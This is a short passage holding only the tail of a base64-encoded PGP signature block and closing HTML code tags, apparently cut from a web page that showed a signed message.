PKkaU+V2v4Lvf3PQvGTeupo50bTZX0xYqdmjjr3G9SUD+jESMCHPGaXw/Zpau71U uKD9f9MbZ9v/XML3IsBvd22QkayL7eegvmweyLmchp/ppigp99IX3rA7EgGkauW7 1W7YiybQOvo5xaCiMakIqHXZtFcWIEryT8FRMW5cyraExHGkPPk= =jrYM -----END PGP SIGNATURE----- </code></pre>